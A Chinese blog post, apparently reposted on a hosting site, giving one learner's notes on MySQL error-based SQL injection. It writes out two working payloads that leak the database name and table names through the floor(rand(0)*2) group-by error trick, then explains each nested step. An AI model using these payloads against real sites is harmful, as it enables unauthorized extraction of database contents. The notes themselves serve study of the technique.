温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

mysql报错注入学习笔记 语句的执行

发布时间:2020-08-05 23:50:10 来源:网络 阅读:900 作者:sdtzswr 栏目:数据库

学习到mysql 数据库 利用报错进行注入,整理了一下个人的学习笔记,仅限于个人的理解。


数据库名--------注入语句   得到数据库名

and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x 

from information_schema.tables group by x)a) and 1=1

 mysql报错注入学习笔记 语句的执行


数据库.表名--------注入语句  得到数据库中的表名

and(select 1 from

(select count(*),concat((select (select (select distinct concat(0x7e,0x27,hex(cast(table_name as char)),0x27,0x7e) from information_schema.tables where table_schema=0x636D73 limit 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x 

from information_schema.tables group by x)a

) and 1=1

 mysql报错注入学习笔记 语句的执行

    自己对表名注入语句的分析:

    首先执行绿色区域之间的语句, select table_name from information_schema.tables where talbe_schema=0x636D73 limit 1,1。这里的0x636D73是前面爆出的数据库名的16进制。第二步执行 cast() 函数 ,将表名转化为字符,然后执行hex()函数,将其转为16进制,最后执行concat()函数,将函数中括号内的内容连接起来。 

    浅黄语句为: select 绿色区域之间的语句;进行一次选择。含义:在浅黄语句中,执行一次绿色语句。

     浅紫色语句为:select 浅黄语句 from information_schema.talbes limit 0,1; 含义,在浅紫色区域中执行一次浅黄语句。

    下一步,concat() 函数    并将结果作为x  放到 group by  后执行

    下一步 执行  select count(*) from information_schema.talbes group by concat()浅紫色区域内的内容。

    最终执行 select 1 from 前面所得到的内容---深×××区域内容; 解释: 深×××区域会生成一个虚拟表,通过查询第一列,将深×××报错的内容显示出来。


函数的部分解释:

    cast()  数据类型转换

cast(expression  as data_type)     expression 任何有效的sql语句   as用于分隔两个参数,在as之前的是要处理的数据,在 as 之后是要转换的数据类型

data_type 数据类型  


    Concat()

没有分隔的连接字符串

至少两个参数

Eg select concat(‘ab’,’cd’); 



    Rand() 函数  产生从0-1之间的随机数

搭配使用  floor()

    Floor()

返回一个不大于x的最大整数

 

    Rand()

返回0到1之间的随机浮点数


另外,关于mysql报错注入的原理,我参考了红黑联盟的一篇文章,个人收获很大。将链接写在下面,

以备自己需要时进行查看。

                     http://www.2cto.com/article/201604/498394.html

 


向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI